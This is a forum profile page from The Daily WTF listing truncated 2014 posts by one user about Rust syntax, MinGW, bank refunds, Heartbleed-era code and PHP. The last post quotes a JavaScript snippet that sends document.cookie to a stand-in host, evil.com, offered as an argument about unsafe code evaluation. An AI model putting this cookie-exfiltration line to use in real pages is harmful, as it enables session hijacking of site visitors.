The Daily WTF: Curious Perversions in Information Technology
Welcome to TDWTF Forums Sign in | Join | Help

Search

Page 1 of 25 (244 items) 1 2 3 4 5 Next > ... Last »
  • Re: My heart bleeds

    [quote user="Groaner"]If you're worried about subsequent calls throwing (without catching them), why not do something like this:[/quote] You've changed the actual behaviour of the code so that it no longer propagates exceptions.
    Posted to "Side Bar" WTF (Forum) by Salamander on 04-12-2014
  • Re: Is it time for a new Firefox thread yet?

    [quote user="too_many_usernames"]I'm trying to figure out what scope rules have to do with using 'set' or perhaps 'define' instead of 'let'.[/quote] It's not as important as what is happening; If you have prisoner245, and you set them free that is an action on prisoner245. On the other hand, if you ...
    Posted to "Side Bar" WTF (Forum) by Salamander on 03-23-2014
  • Re: Is it time for a new Firefox thread yet?

    [quote user="dkf"]And that's why shadowing is problematic. Yes, it might be a good idea in some circumstances, but more often indicates a problem. I prefer to be without it (since if I've got name overlap problems, my function is too long anyway and should be refactored).[/quote] As far as I can tell, the main reason Rust has ...
    Posted to "Side Bar" WTF (Forum) by Salamander on 03-21-2014
  • Re: Is it time for a new Firefox thread yet?

    [quote user="too_many_usernames"] This is why some people should not be allowed to create computer languages. In my industry, "let x = 3" would be interpreted as "3 is an allowable value for x" and wouldn't say anything about the current value of x. If you want to set a value, the language should be something ...
    Posted to "Side Bar" WTF (Forum) by Salamander on 03-21-2014
  • Re: Is it time for a new Firefox thread yet?

    [quote user="ratchet freak"]from the documentation it looks like C/C++ preprocessor with limitations; only full expressions, explicit invocation[/quote] Their final example involves breaking up a series of statements into individual expressions, so it's most definitely trying to mimic Lisp macros. That being said, it's such a ...
    Posted to "Side Bar" WTF (Forum) by Salamander on 03-20-2014
  • Re: From the "left hand doesn't know what the right hand is doing" department...

    [quote user="Maciejasjmj"]If someone steals your wallet on the street, do you also go to a bank for a refund?[/quote] Here in Australia, when someone steals your card details details (either physically or not) you actually do go to your bank for a refund. They will refund you and give you a shiny new card.
    Posted to "Side Bar" WTF (Forum) by Salamander on 03-09-2014
  • Re: MinGW

    [quote user="David1"]So open-source people are bad because they try to be cross-platform? I've got the world's smallest violin here playing for the poor Windows folk who get the best of both worlds but have to put a little work into compiling the Linux stuff.[/quote] As has been pointed out, it often doesn't work properly or ...
    Posted to "Side Bar" WTF (Forum) by Salamander on 02-20-2014
  • Re: MinGW

    [quote user="Ben L."] Let's try to figure this statistic out. GitHub has a list of the most "starred" projects. Let's start there. [/quote] Here's a tip: "Most Starred" <> "Most Downloaded".
    Posted to "Side Bar" WTF (Forum) by Salamander on 02-20-2014
  • Re: I sure hope Mozilla doesn't hire this guy

    [quote user="flabdablet"]Logitech makes a "solar" keyboard now that actually runs on room lighting - if you can see it, it's charging. It's the only wireless input device I've ever been tempted by; friend of mine has one and she says it works really well.[/quote]I had one of those. It's only useful if you have ...
    Posted to "Side Bar" WTF (Forum) by Salamander on 02-11-2014
  • Re: TRWTF is PHP

    [quote user="Ben L."]Oh, so you wanted to show us that anything you put into Function() is automatically converted to something safe to execute? Function('a', 'b', 'location = "http://evil.com/malicious.php?" + document.cookie')[/quote] I'm not sure what point you're trying to make, because ...
    Posted to "Side Bar" WTF (Forum) by Salamander on 02-07-2014
Page 1 of 25 (244 items) 1 2 3 4 5 Next > ... Last »
Powered by Community Server (Non-Commercial Edition), by Telligent Systems